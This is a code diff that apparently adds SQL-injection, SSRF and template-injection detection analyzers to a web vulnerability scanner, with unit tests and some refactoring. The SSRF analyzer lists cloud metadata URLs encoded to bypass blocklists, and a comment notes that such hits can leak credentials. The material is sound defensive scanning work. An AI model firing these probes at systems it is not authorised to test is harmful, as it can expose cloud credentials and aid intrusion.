{"Microsoft SQL Server", regexp.MustCompile(`(?i)System\.Data\.SqlClient\.SqlException`)},
|
||||
{"Microsoft SQL Server", regexp.MustCompile(`(?i)Incorrect syntax near`)},
|
||||
{"Oracle", regexp.MustCompile(`(?i)ORA-[0-9]{4,5}`)},
|
||||
{"Oracle", regexp.MustCompile(`(?i)quoted string not properly terminated`)},
|
||||
{"Oracle", regexp.MustCompile(`(?i)oracle\.jdbc`)},
|
||||
{"SQLite", regexp.MustCompile(`(?i)SQLite/JDBCDriver`)},
|
||||
{"SQLite", regexp.MustCompile(`(?i)SQLite3::query`)},
|
||||
{"SQLite", regexp.MustCompile(`(?i)unrecognized token:`)},
|
||||
{"SQLite", regexp.MustCompile(`(?i)sqlite3\.OperationalError`)},
|
||||
{"IBM DB2", regexp.MustCompile(`(?i)CLI Driver.*?DB2`)},
|
||||
{"IBM DB2", regexp.MustCompile(`(?i)DB2 SQL error`)},
|
||||
{"Sybase", regexp.MustCompile(`(?i)Sybase message:`)},
|
||||
}
|
||||
|
||||
// MatchDBMSError returns the DBMS whose error signature appears in body, if any.
|
||||
// It is exported and pure so it can be unit-tested without network access.
|
||||
func MatchDBMSError(body string) (string, bool) {
|
||||
if body == "" {
|
||||
return "", false
|
||||
}
|
||||
for _, sig := range dbmsErrorSignatures {
|
||||
if sig.Regex.MatchString(body) {
|
||||
return sig.DBMS, true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Analyze injects breaking payloads and reports an error-based SQLi when a DBMS
|
||||
// error signature appears that was not present in the baseline response.
|
||||
func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
if options == nil || options.FuzzGenerated.Component == nil || options.HttpClient == nil {
|
||||
return false, "", nil
|
||||
}
|
||||
gr := options.FuzzGenerated
|
||||
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
// Baseline: if the page already shows a DBMS error with the original value,
|
||||
// any later match is meaningless, so we bail to avoid false positives.
|
||||
baselineBody, err := analyzers.SendValueAndReadBody(options, gr.OriginalValue)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
if _, matched := MatchDBMSError(baselineBody); matched {
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
for _, payload := range breakingPayloads {
|
||||
body, err := analyzers.SendValueAndReadBody(options, gr.OriginalValue+payload)
|
||||
if err != nil {
|
||||
// A single failed probe (timeout, reset) must not abort the whole
|
||||
// analysis; the remaining payloads may still surface the bug.
|
||||
continue
|
||||
}
|
||||
if dbms, matched := MatchDBMSError(body); matched {
|
||||
return true, "sqli: " + dbms + " error triggered by payload " + strconv.Quote(payload), nil
|
||||
}
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package sqli
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestAnalyzerRegistered(t *testing.T) {
|
||||
require.NotNil(t, analyzers.GetAnalyzer("sqli_error"))
|
||||
require.Equal(t, "sqli_error", (&Analyzer{}).Name())
|
||||
}
|
||||
|
||||
func TestMatchDBMSError(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
wantDBMS string
|
||||
wantHit bool
|
||||
}{
|
||||
{
|
||||
name: "mysql syntax error",
|
||||
body: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''`,
|
||||
wantDBMS: "MySQL",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "postgres error",
|
||||
body: `Query failed: ERROR: unterminated quoted string at or near "'"`,
|
||||
wantDBMS: "PostgreSQL",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "mssql unclosed quotation",
|
||||
body: `Unclosed quotation mark after the character string ''.`,
|
||||
wantDBMS: "Microsoft SQL Server",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "oracle ORA code",
|
||||
body: `ORA-01756: quoted string not properly terminated`,
|
||||
wantDBMS: "Oracle",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "sqlite operational error",
|
||||
body: `sqlite3.OperationalError: unrecognized token: "'"`,
|
||||
wantDBMS: "SQLite",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "benign html no error",
|
||||
body: `<html><body><h1>Welcome</h1><p>no errors here</p></body></html>`,
|
||||
wantHit: false,
|
||||
},
|
||||
{
|
||||
name: "the word mysql alone is not a match",
|
||||
body: `We use MySQL as our database backend. Learn more in the docs.`,
|
||||
wantHit: false,
|
||||
},
|
||||
{
|
||||
name: "empty body",
|
||||
body: ``,
|
||||
wantHit: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
dbms, hit := MatchDBMSError(tc.body)
|
||||
require.Equal(t, tc.wantHit, hit)
|
||||
if tc.wantHit {
|
||||
require.Equal(t, tc.wantDBMS, dbms)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBreakingPayloadsNonEmpty(t *testing.T) {
|
||||
require.NotEmpty(t, breakingPayloads)
|
||||
for _, p := range breakingPayloads {
|
||||
require.NotEmpty(t, p)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,119 @@
|
||||
// Package ssrf implements an in-band server-side request forgery analyzer for
|
||||
// the fuzzer.
|
||||
//
|
||||
// It injects URLs pointing at cloud instance-metadata endpoints (AWS IMDS, GCP
|
||||
// metadata) using several IP-encoding bypasses, and confirms a hit only when
|
||||
// the response body contains a signature unique to those metadata services.
|
||||
// This catches the high-impact, in-band SSRF case where the application fetches
|
||||
// the attacker-supplied URL and reflects the metadata back (frequently leaking
|
||||
// cloud credentials). Blind SSRF requires out-of-band correlation and is out of
|
||||
// scope for this self-contained analyzer.
|
||||
package ssrf
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
)
|
||||
|
||||
const analyzerName = "ssrf"
|
||||
|
||||
// Analyzer implements the analyzers.Analyzer interface for in-band SSRF.
|
||||
type Analyzer struct{}
|
||||
|
||||
var _ analyzers.Analyzer = &Analyzer{}
|
||||
|
||||
func init() {
|
||||
analyzers.RegisterAnalyzer(analyzerName, &Analyzer{})
|
||||
}
|
||||
|
||||
func (a *Analyzer) Name() string {
|
||||
return analyzerName
|
||||
}
|
||||
|
||||
func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
|
||||
return analyzers.ApplyPayloadTransformations(data)
|
||||
}
|
||||
|
||||
// metadataPayloads target cloud metadata services. 169.254.169.254 is encoded
|
||||
// several ways (IPv6-mapped, decimal, hex) to bypass naive blocklists.
|
||||
var metadataPayloads = []string{
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://169.254.169.254/latest/dynamic/instance-identity/document",
|
||||
"http://[::ffff:a9fe:a9fe]/latest/meta-data/",
|
||||
"http://2852039166/latest/meta-data/",
|
||||
"http://0xa9fea9fe/latest/meta-data/",
|
||||
"http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true",
|
||||
}
|
||||
|
||||
var (
|
||||
// AWS instance-identity document JSON
|
||||
reAWSInstanceID = regexp.MustCompile(`"instanceId"\s*:\s*"i-[0-9a-f]{8,17}"`)
|
||||
reAWSImageID = regexp.MustCompile(`"imageId"\s*:\s*"ami-[0-9a-f]{8,17}"`)
|
||||
// AWS STS credentials surfaced from IMDS (keys begin with ASIA)
|
||||
reAWSCreds = regexp.MustCompile(`"AccessKeyId"\s*:\s*"ASIA[0-9A-Z]{16,}"`)
|
||||
)
|
||||
|
||||
// MatchSSRFSignature returns the metadata service whose signature appears in
|
||||
// body, if any. It is exported and pure for unit-testing without a network.
|
||||
func MatchSSRFSignature(body string) (string, bool) {
|
||||
if body == "" {
|
||||
return "", false
|
||||
}
|
||||
if reAWSCreds.MatchString(body) {
|
||||
return "AWS instance credentials (IMDS)", true
|
||||
}
|
||||
if reAWSInstanceID.MatchString(body) && reAWSImageID.MatchString(body) {
|
||||
return "AWS instance identity document (IMDS)", true
|
||||
}
|
||||
// AWS IMDS metadata listing: several well-known keys appear together.
|
||||
if strings.Contains(body, "ami-id") &&
|
||||
strings.Contains(body, "instance-id") &&
|
||||
strings.Contains(body, "instance-action") {
|
||||
return "AWS IMDS metadata", true
|
||||
}
|
||||
// GCP metadata recursive responses carry these structural keys together.
|
||||
// NOTE: we deliberately do NOT match a bare "computeMetadata" substring: it
|
||||
// appears in the injected request URL itself (…/computeMetadata/v1/…), so an
|
||||
// application that merely reflects the payload would otherwise be a false
|
||||
// positive. Requiring response-only JSON keys keeps this in-band signal high
|
||||
// confidence.
|
||||
if strings.Contains(body, "\"machineType\"") && strings.Contains(body, "\"serviceAccounts\"") {
|
||||
return "GCP instance metadata", true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Analyze injects metadata SSRF payloads and reports a hit when a metadata
|
||||
// signature appears that was not present in the baseline response.
|
||||
func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
if options == nil || options.FuzzGenerated.Component == nil || options.HttpClient == nil {
|
||||
return false, "", nil
|
||||
}
|
||||
gr := options.FuzzGenerated
|
||||
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
baselineBody, err := analyzers.SendValueAndReadBody(options, gr.OriginalValue)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
if _, matched := MatchSSRFSignature(baselineBody); matched {
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
for _, payload := range metadataPayloads {
|
||||
body, err := analyzers.SendValueAndReadBody(options, payload)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if svc, matched := MatchSSRFSignature(body); matched {
|
||||
return true, "ssrf: " + svc + " disclosed via payload " + strconv.Quote(payload), nil
|
||||
}
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
package ssrf
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestAnalyzerRegistered(t *testing.T) {
|
||||
require.NotNil(t, analyzers.GetAnalyzer("ssrf"))
|
||||
require.Equal(t, "ssrf", (&Analyzer{}).Name())
|
||||
}
|
||||
|
||||
func TestMatchSSRFSignature(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
wantSvc string
|
||||
wantHit bool
|
||||
}{
|
||||
{
|
||||
name: "aws instance identity document",
|
||||
body: `{"accountId":"123456789012","imageId":"ami-0abcd1234ef567890","instanceId":"i-0abcd1234ef567890","region":"us-east-1"}`,
|
||||
wantSvc: "AWS instance identity document (IMDS)",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "aws imds metadata listing",
|
||||
body: "ami-id\nami-launch-index\nhostname\niam/\ninstance-action\ninstance-id\nlocal-hostname\n",
|
||||
wantSvc: "AWS IMDS metadata",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "aws sts credentials",
|
||||
body: `{"Code":"Success","AccessKeyId":"ASIAEXAMPLE1234567890","SecretAccessKey":"x","Token":"y"}`,
|
||||
wantSvc: "AWS instance credentials (IMDS)",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "gcp compute metadata recursive response",
|
||||
body: `{"hostname":"vm.c.proj.internal","machineType":"projects/1/machineTypes/e2-medium","serviceAccounts":{"default":{"email":"[email protected]"}}}`,
|
||||
wantSvc: "GCP instance metadata",
|
||||
wantHit: true,
|
||||
},
|
||||
{
|
||||
name: "benign body no metadata",
|
||||
body: `<html><body>welcome to the dashboard, instance-id of order is 5</body></html>`,
|
||||
wantHit: false,
|
||||
},
|
||||
{
|
||||
// Regression: an app that merely reflects the injected GCP payload URL
|
||||
// (which contains "computeMetadata") must NOT be flagged. Only a real
|
||||
// metadata *response* (structural JSON keys) counts.
|
||||
name: "reflected gcp payload url is not a hit",
|
||||
body: `<html><body>you searched for: http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true</body></html>`,
|
||||
wantHit: false,
|
||||
},
|
||||
{
|
||||
// Regression: reflected AWS metadata URL alone is not disclosure.
|
||||
name: "reflected aws payload url is not a hit",
|
||||
body: `<html><body>fetched http://169.254.169.254/latest/meta-data/ failed</body></html>`,
|
||||
wantHit: false,
|
||||
},
|
||||
{
|
||||
name: "partial aws keys do not match identity doc",
|
||||
body: `{"instanceId":"i-0abcd1234ef567890"}`,
|
||||
wantHit: false,
|
||||
},
|
||||
{
|
||||
name: "empty body",
|
||||
body: ``,
|
||||
wantHit: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range tests {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
svc, hit := MatchSSRFSignature(tc.body)
|
||||
require.Equal(t, tc.wantHit, hit)
|
||||
if tc.wantHit {
|
||||
require.Equal(t, tc.wantSvc, svc)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestMetadataPayloadsNonEmpty(t *testing.T) {
|
||||
require.NotEmpty(t, metadataPayloads)
|
||||
for _, p := range metadataPayloads {
|
||||
require.NotEmpty(t, p)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
// Package ssti implements a server-side template injection (SSTI) analyzer for
|
||||
// the fuzzer. It uses a randomized arithmetic oracle: it injects a multiplication
|
||||
// expression in a number of common template-engine syntaxes, wrapped in unique
|
||||
// random sentinels, and confirms injection only when the template engine
|
||||
// evaluates the expression (i.e. the product appears between the sentinels).
|
||||
//
|
||||
// This arithmetic-evaluation approach yields very low false positives: a plain
|
||||
// reflection of the payload leaves the literal expression (e.g. "${7*7}")
|
||||
// between the sentinels, which never matches the product ("49"). A match
|
||||
// therefore means the server actually evaluated the expression — a strong SSTI
|
||||
// signal that frequently escalates to RCE.
|
||||
package ssti
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strconv"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
)
|
||||
|
||||
const analyzerName = "ssti"
|
||||
|
||||
// Analyzer implements the analyzers.Analyzer interface for SSTI detection.
|
||||
type Analyzer struct{}
|
||||
|
||||
var _ analyzers.Analyzer = &Analyzer{}
|
||||
|
||||
func init() {
|
||||
analyzers.RegisterAnalyzer(analyzerName, &Analyzer{})
|
||||
}
|
||||
|
||||
func (a *Analyzer) Name() string {
|
||||
return analyzerName
|
||||
}
|
||||
|
||||
func (a *Analyzer) ApplyInitialTransformation(data string, params map[string]interface{}) string {
|
||||
return analyzers.ApplyPayloadTransformations(data)
|
||||
}
|
||||
|
||||
// Probe is a single SSTI payload for a family of template engines.
|
||||
type Probe struct {
|
||||
// Engine names the template engine families this syntax targets.
|
||||
Engine string
|
||||
// Payload is the value to inject (sentinels + expression).
|
||||
Payload string
|
||||
}
|
||||
|
||||
// Analyze injects arithmetic SSTI probes and reports whether any template engine
|
||||
// evaluated the expression.
|
||||
func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
if options == nil || options.FuzzGenerated.Component == nil || options.HttpClient == nil {
|
||||
return false, "", nil
|
||||
}
|
||||
gr := options.FuzzGenerated
|
||||
|
||||
first := analyzers.GetRandomInteger()
|
||||
second := analyzers.GetRandomInteger()
|
||||
product := first * second
|
||||
startToken := randToken()
|
||||
endToken := randToken()
|
||||
|
||||
probes := GenerateProbes(first, second, startToken, endToken)
|
||||
|
||||
// Always restore the original value once we are done probing.
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
for _, probe := range probes {
|
||||
body, err := analyzers.SendValueAndReadBody(options, probe.Payload)
|
||||
if err != nil {
|
||||
// A single failed probe (timeout, reset) must not abort the whole
|
||||
// analysis; the remaining engine syntaxes may still evaluate.
|
||||
continue
|
||||
}
|
||||
|
||||
if DetectEvaluation(body, startToken, endToken, product) {
|
||||
return true, "ssti: expression evaluated by " + probe.Engine + " (got " + strconv.Itoa(product) + ")", nil
|
||||
}
|
||||
}
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
// GenerateProbes builds the SSTI payloads for a*b across common template-engine
|
||||
// syntaxes, each wrapped in the given sentinels. It is exported and pure so it
|
||||
// can be unit-tested without any network access.
|
||||
func GenerateProbes(a, b int, startToken, endToken string) []Probe {
|
||||
as := strconv.Itoa(a)
|
||||
bs := strconv.Itoa(b)
|
||||
expr := as + "*" + bs
|
||||
|
||||
wrap := func(payload string) string {
|
||||
return startToken + payload + endToken
|
||||
}
|
||||
|
||||
return []Probe{
|
||||
{Engine: "EL/SpEL/JSP-EL/Mako/Freemarker", Payload: wrap("${" + expr + "}")},
|
||||
{Engine: "Jinja2/Twig/Nunjucks/Angular", Payload: wrap("{{" + expr + "}}")},
|
||||
{Engine: "Ruby ERB/Thymeleaf/JSF", Payload: wrap("#{" + expr + "}")},
|
||||
{Engine: "Thymeleaf", Payload: wrap("*{" + expr + "}")},
|
||||
{Engine: "Razor", Payload: wrap("@(" + expr + ")")},
|
||||
{Engine: "ERB/ASP", Payload: wrap("<%= " + expr + " %>")},
|
||||
{Engine: "Velocity", Payload: wrap("#set($p=" + expr + ")${p}")},
|
||||
{Engine: "Smarty/generic", Payload: wrap("{" + expr + "}")},
|
||||
}
|
||||
}
|
||||
|
||||
// DetectEvaluation reports whether the response body contains the evaluated
|
||||
// product between the two sentinels, which indicates the template engine
|
||||
// executed the injected expression. It is exported and pure for testability.
|
||||
//
|
||||
// Optional whitespace is allowed on either side of the product: some engines
|
||||
// emit incidental whitespace between the sentinels and the result (e.g. a
|
||||
// newline left by a directive such as Velocity's #set), which a strict
|
||||
// contiguous match would miss. A plain reflection still fails to match because
|
||||
// the literal expression ("7*7"), not the product ("49"), survives between the
|
||||
// sentinels.
|
||||
func DetectEvaluation(body, startToken, endToken string, product int) bool {
|
||||
if body == "" || startToken == "" || endToken == "" {
|
||||
return false
|
||||
}
|
||||
re := regexp.MustCompile(regexp.QuoteMeta(startToken) + `\s*` + strconv.Itoa(product) + `\s*` + regexp.QuoteMeta(endToken))
|
||||
return re.MatchString(body)
|
||||
}
|
||||
|
||||
// randToken returns a short random lowercase alphabetic sentinel. Alphabetic
|
||||
// (never numeric) so it cannot be confused with the arithmetic product.
|
||||
func randToken() string {
|
||||
return "s" + analyzers.RandAlphaToken(6)
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package ssti
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/analyzers"
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func TestAnalyzerRegistered(t *testing.T) {
|
||||
require.NotNil(t, analyzers.GetAnalyzer("ssti"), "ssti analyzer must be registered")
|
||||
require.Equal(t, "ssti", (&Analyzer{}).Name())
|
||||
}
|
||||
|
||||
func TestGenerateProbes(t *testing.T) {
|
||||
const (
|
||||
a = 31
|
||||
b = 1337
|
||||
start = "sAAAA"
|
||||
end = "sBBBB"
|
||||
)
|
||||
probes := GenerateProbes(a, b, start, end)
|
||||
require.NotEmpty(t, probes)
|
||||
|
||||
expr := "31*1337"
|
||||
for _, p := range probes {
|
||||
require.NotEmpty(t, p.Engine)
|
||||
// every payload must carry the raw arithmetic expression and both sentinels
|
||||
require.Contains(t, p.Payload, expr, "probe %q must contain the expression", p.Engine)
|
||||
require.True(t, strings.HasPrefix(p.Payload, start), "probe %q must start with sentinel", p.Engine)
|
||||
require.True(t, strings.HasSuffix(p.Payload, end), "probe %q must end with sentinel", p.Engine)
|
||||
// the unevaluated payload must NOT contain the product (avoids self-match)
|
||||
require.NotContains(t, p.Payload, strconv.Itoa(a*b))
|
||||
}
|
||||
|
||||
// sanity: well-known syntaxes are present
|
||||
var syntaxes []string
|
||||
for _, p := range probes {
|
||||
syntaxes = append(syntaxes, p.Payload)
|
||||
}
|
||||
joined := strings.Join(syntaxes, "\n")
|
||||
require.Contains(t, joined, "${31*1337}")
|
||||
require.Contains(t, joined, "{{31*1337}}")
|
||||
require.Contains(t, joined, "#{31*1337}")
|
||||
}
|
||||
|
||||
func TestDetectEvaluation(t *testing.T) {
|
||||
const (
|
||||
start = "sXYZ12"
|
||||
end = "sQRS98"
|
||||
product = 1849 // 43*43
|
||||
)
|
||||
|
||||
t.Run("evaluated product between sentinels is detected", func(t *testing.T) {
|
||||
body := "<html>result: " + start + strconv.Itoa(product) + end + " done</html>"
|
||||
require.True(t, DetectEvaluation(body, start, end, product))
|
||||
})
|
||||
|
||||
t.Run("reflected unevaluated expression is NOT a hit", func(t *testing.T) {
|
||||
// the engine did not evaluate, so the literal expression survives
|
||||
body := "<html>result: " + start + "43*43" + end + " done</html>"
|
||||
require.False(t, DetectEvaluation(body, start, end, product))
|
||||
})
|
||||
|
||||
t.Run("product without sentinels is NOT a hit", func(t *testing.T) {
|
||||
// product appears naturally elsewhere (e.g. a price) but not between sentinels
|
||||
body := "<html>total is 1849 dollars</html>"
|
||||
require.False(t, DetectEvaluation(body, start, end, product))
|
||||
})
|
||||
|
||||
t.Run("product with only one sentinel is NOT a hit", func(t *testing.T) {
|
||||
body := start + strconv.Itoa(product) + "DIFFERENT"
|
||||
require.False(t, DetectEvaluation(body, start, end, product))
|
||||
})
|
||||
|
||||
t.Run("empty inputs are safe", func(t *testing.T) {
|
||||
require.False(t, DetectEvaluation("", start, end, product))
|
||||
require.False(t, DetectEvaluation("body", "", end, product))
|
||||
require.False(t, DetectEvaluation("body", start, "", product))
|
||||
})
|
||||
}
|
||||
|
||||
func TestRandTokenIsAlphabetic(t *testing.T) {
|
||||
for i := 0; i < 100; i++ {
|
||||
tok := randToken()
|
||||
require.NotEmpty(t, tok)
|
||||
for _, r := range tok {
|
||||
require.True(t, r >= 'a' && r <= 'z', "token must be lowercase alphabetic, got %q", tok)
|
||||
}
|
||||
}
|
||||
// two tokens should differ (extremely high probability)
|
||||
require.NotEqual(t, randToken(), randToken())
|
||||
}
|
||||
@@ -115,26 +115,14 @@ func (a *Analyzer) Analyze(options *analyzers.Options) (bool, string, error) {
|
||||
replaced := strings.ReplaceAll(gr.OriginalPayload, "[SLEEPTIME]", strconv.Itoa(delay))
|
||||
replaced = a.ApplyInitialTransformation(replaced, options.AnalyzerParameters)
|
||||
|
||||
if err := gr.Component.SetValue(gr.Key, replaced); err != nil {
|
||||
return 0, errors.Wrap(err, "could not set value in component")
|
||||
}
|
||||
|
||||
rebuilt, err := gr.Component.Rebuild()
|
||||
rebuilt, err := analyzers.SetValueAndRebuild(gr, replaced)
|
||||
if err != nil {
|
||||
return 0, errors.Wrap(err, "could not rebuild request")
|
||||
}
|
||||
|
||||
// copy headers from the original request since Rebuild() only
|
||||
// carries headers present at parse time, not post-parse injections
|
||||
for k, vs := range gr.Request.Header {
|
||||
if gr.Component.Name() == "header" && k == gr.Key {
|
||||
continue
|
||||
}
|
||||
rebuilt.Header[k] = vs
|
||||
return 0, errors.Wrap(err, "could not rebuild request with value")
|
||||
}
|
||||
|
||||
gologger.Verbose().Msgf("[%s] Sending request with %d delay for: %s", a.Name(), delay, rebuilt.String())
|
||||
|
||||
options.RateLimit()
|
||||
timeTaken, err := doHTTPRequestWithTimeTracing(rebuilt, options.HttpClient)
|
||||
if err != nil {
|
||||
return 0, errors.Wrap(err, "could not do request with time tracing")
|
||||
@@ -202,8 +190,11 @@ func doHTTPRequestWithTimeTracing(req *retryablehttp.Request, httpclient *retrya
|
||||
if err != nil {
|
||||
return 0, errors.Wrap(err, "could not do request")
|
||||
}
|
||||
defer func() { _ = resp.Body.Close() }()
|
||||
|
||||
_, err = io.ReadAll(resp.Body)
|
||||
// Drain (bounded) so the connection can be reused; we only care about the
|
||||
// time-to-first-byte captured by the trace, not the body contents.
|
||||
_, err = io.Copy(io.Discard, io.LimitReader(resp.Body, analyzers.MaxResponseBodyBytes))
|
||||
if err != nil {
|
||||
return 0, errors.Wrap(err, "could not read response body")
|
||||
}
|
||||
|
||||
@@ -8,10 +8,7 @@ import (
|
||||
"golang.org/x/net/html"
|
||||
)
|
||||
|
||||
const (
|
||||
analyzerName = "xss_context"
|
||||
maxResponseBodyBytes = 10 * 1024 * 1024 // 10 MiB
|
||||
)
|
||||
const analyzerName = "xss_context"
|
||||
|
||||
// XSSAnalyzer implements the analyzers.Analyzer interface for XSS context detection.
|
||||
type XSSAnalyzer struct{}
|
||||
@@ -41,32 +38,16 @@ func (a *XSSAnalyzer) Analyze(options *analyzers.Options) (bool, string, error)
|
||||
return false, "", nil
|
||||
}
|
||||
|
||||
if err := gr.Component.SetValue(gr.Key, payload); err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
defer func() {
|
||||
_ = gr.Component.SetValue(gr.Key, gr.OriginalValue)
|
||||
}()
|
||||
|
||||
rebuilt, err := gr.Component.Rebuild()
|
||||
body, err := analyzers.SendValueAndReadBody(options, payload)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
|
||||
resp, err := options.HttpClient.Do(rebuilt)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
defer func() {
|
||||
_ = resp.Body.Close()
|
||||
}()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, maxResponseBodyBytes))
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
|
||||
ctx, err := AnalyzeReflectionContext(string(body), payload)
|
||||
ctx, err := AnalyzeReflectionContext(body, payload)
|
||||
if err != nil {
|
||||
return false, "", err
|
||||
}
|
||||
@@ -191,28 +172,28 @@ var eventHandlers = map[string]struct{}{
|
||||
"ontouchmove": {},
|
||||
"ontouchcancel": {},
|
||||
// added after review, these are newer DOM events that were missing
|
||||
"onauxclick": {},
|
||||
"onbeforeinput": {},
|
||||
"onformdata": {},
|
||||
"onslotchange": {},
|
||||
"onauxclick": {},
|
||||
"onbeforeinput": {},
|
||||
"onformdata": {},
|
||||
"onslotchange": {},
|
||||
"onsecuritypolicyviolation": {},
|
||||
}
|
||||
|
||||
// executableScriptTypes lists MIME types that browsers actually execute.
|
||||
// Empty string covers <script> with no type attribute.
|
||||
var executableScriptTypes = map[string]struct{}{
|
||||
"": {},
|
||||
"text/javascript": {},
|
||||
"application/javascript": {},
|
||||
"text/ecmascript": {},
|
||||
"application/ecmascript": {},
|
||||
"module": {},
|
||||
"text/jscript": {},
|
||||
"text/livescript": {},
|
||||
"": {},
|
||||
"text/javascript": {},
|
||||
"application/javascript": {},
|
||||
"text/ecmascript": {},
|
||||
"application/ecmascript": {},
|
||||
"module": {},
|
||||
"text/jscript": {},
|
||||
"text/livescript": {},
|
||||
"text/x-ecmascript": {},
|
||||
"text/x-javascript": {},
|
||||
"application/x-javascript": {},
|
||||
"application/x-ecmascript": {},
|
||||
"application/x-javascript": {},
|
||||
"application/x-ecmascript": {},
|
||||
}
|
||||
|
||||
// executableURLSinks maps URL attribute names to the set of tags where
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/pkg/errors"
|
||||
"github.com/projectdiscovery/gologger"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/dataformat"
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/httpbody"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
)
|
||||
|
||||
@@ -147,10 +148,7 @@ func (b *Body) Rebuild() (*retryablehttp.Request, error) {
|
||||
return nil, errors.Wrap(err, "could not encode body")
|
||||
}
|
||||
cloned := b.req.Clone(context.Background())
|
||||
err = cloned.SetBodyString(encoded)
|
||||
if err != nil {
|
||||
return nil, errors.Wrap(err, "could not set body")
|
||||
}
|
||||
httpbody.SetString(cloned, encoded)
|
||||
cloned.Header.Set("Content-Length", strconv.Itoa(len(encoded)))
|
||||
return cloned, nil
|
||||
}
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/projectdiscovery/nuclei/v3/pkg/utils/httpbody"
|
||||
"github.com/projectdiscovery/retryablehttp-go"
|
||||
urlutil "github.com/projectdiscovery/utils/url"
|
||||
"github.com/stretchr/testify/require"
|
||||
@@ -45,6 +46,7 @@ func TestBodyComponent(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
require.IsType(t, &httpbody.Body{}, rebuilt.Body, "rebuilt body must not be copied per read")
|
||||
newBody, err := io.ReadAll(rebuilt.Body)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
"github.com/stretchr/testify/require"
|
||||
)
|
||||
|
||||
func newFuzzTestInteractshClient(t *testing.T) *interactsh.Client {
|
||||
func newFuzzTestInteractshClient(t *testing.T) interactsh.IClient {
|
||||
t.Helper()
|
||||
|
||||
client, err := interactsh.New(&interactsh.Options{
|
||||
|
||||
@@ -43,6 +43,7 @@ https://d.example
|
||||
| Key | Selects |
|
||||
| --- | --- |
|
||||
| `target` | the target (URL, host, IP, CIDR or ASN), required |
|
||||
| `ip` | the address to connect to instead of resolving the target's host, see below |
|
||||
| `profile` | a template profile ID from the templates `profiles` directory (paths are rejected); the line's other keys override it |
|
||||
